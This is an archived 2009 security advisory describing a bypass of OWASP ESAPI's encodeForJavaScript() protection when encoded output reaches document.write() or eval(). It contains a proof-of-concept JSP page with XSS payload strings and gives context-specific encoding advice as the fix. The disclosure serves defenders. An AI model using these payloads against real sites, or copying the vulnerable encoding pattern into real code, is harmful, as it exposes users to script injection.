what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OWASP ESAPI XSS Bypass

OWASP ESAPI XSS Bypass
Posted Aug 23, 2009
Authored by Inferno from Secure Thoughts

A bypass vulnerability exists against the cross site scripting protection in the OWASP ESAPI.

tags | exploit, xss, bypass
SHA-256 | cb7596702d627eb416c2300a8cad6361171854a2fa24054ae30b467069eb6cbb

OWASP ESAPI XSS Bypass

Change Mirror Download
Bypassing OWASP ESAPI XSS Protection inside Javascript
------------------------------------------------------
By Inferno (inferno {at} securethoughts {dot} com)

Everyone knows the invaluable XSS cheat sheet maintained by "RSnake". It is
all about breaking things and features all the scenarios that can result in
XSS. To complement his efforts, there is an excellent XSS prevention cheat
sheet created by "Jeff Williams" (Founder and CEO, Aspect Security). As far
as I have seen, this wiki page provides the most comprehensive information
on protecting yourself from XSS on the internet. It advises using the OWASP
ESAPI api to mitigate any XSS arising from untrusted user input.

I was evaluating this ESAPI api and the recommendations given on the wiki to
see if there are any potential flaws. Any weakness impacts a very large
number of users since many developers are using it to strengthen their web
applications throughout the world. This is my way of contributing back to
the community, but can never match the immense efforts put by Jeff and other
OWASP team members in developing this library.

I want to give you a little bit of background before diving into the real
vulnerability. The XSS prevention cheat sheet classifies XSS protections by
dividing them into broadly four buckets - HTML Body injection, HTML
Attribute injection, Javascript injection and CSS injection. For each of
these four buckets, there is an ESAPI function reference you can use for
output escaping/encoding.

If you allow any untrusted user input into javascript functions
document.write() OR eval(), it can still execute the XSS even after you do
the scrubbing using the ESAPI encodeForJavaScript() function. The reason
being that hex escaped chars are converted back into normal chars at the
time of execution of these functions.

Here is the proof of concept jsp code:

01.<%@page import="org.owasp.esapi.*"%>
02.
03.<%@page contentType="text/html" pageEncoding="UTF-8"%>
04.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
05. "http://www.w3.org/TR/html4/loose.dtd">
06.
07.<html>
08. <head>
09. <meta http-equiv="Content-Type" content="text/html;
charset=UTF-8">
10. <title>ESAPI XSS Protection Bypass</title>
11. </head>
12. <body>
13. <h1>ESAPI XSS Protection Bypass</h1>
14. <p id="tb1"/><br>
15. <p id="tb2"/>
16. <script>
17. //in real scenario, these three strings come from
request.getParameter or user input
18. <%
19. String vulstr1 = "-1';alert(0);";
20. String vulstr2 = "<img src=x onerror=alert(1)>";
21. String vulstr3 = "0,x setter=alert,x=2";
22. %>
23.
24. // you can safely use it in places like this
25. // Ex. vulstr1 is completely encapsulated in a and alert(0)
not executed.
26. var a='<%= ESAPI.encoder().encodeForJavaScript(vulstr1) %>';
27. alert(a);
28.
29. // However, you can bypass protection in places like these
30. // Ex. vulstr2 gets written to html and alert(1) executes
31. document.write("<%=
ESAPI.encoder().encodeForJavaScript(vulstr2) %>");
32. // Ex. part of vulstr3 get assigned to u, rest alert(2)
executes
33. eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3)
%>");
34. </script>
35. </body>
36.</html>

Much thanks to Jeremiah Grossman and Jeff Williams for taking the time to
review my idea and providing their insights. Jeremiah told me that he has
seen such injections from time to time at WhiteHat and these do exist in the
wild.

Jeff confirmed that some documentation changes will fix this. I agree that
no esapi code change is required, because function themselves are not
insecure.

But, if you are currently using esapi functions inside your javascript code,
it is important that you re-review your javascript code and the places where
your make calls to esapi functions.

If you use the esapi function encodeForJavaScript() inside document.write,
it is advised that you change them with other appropriate esapi functions
depending on the context where the data is ultimately landing. For example,
if you have document.write("<script>alert('XSS')</script>"), you know the
data is landing in html body context, so it is appropriate to use
encodeForHTML() wrapper. Using user input inside eval is less common, but
more disastrous. The reason for this is you can still begin another command
context using , and (space) char and it won't be encoded by function
encodeForHTML(). So, it is better to avoid putting user input inside eval.

Any more suggestions or discussion on fixes is highly welcome.

Thanks and Regards,
Inferno
Security Researcher
SecureThoughts.com

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close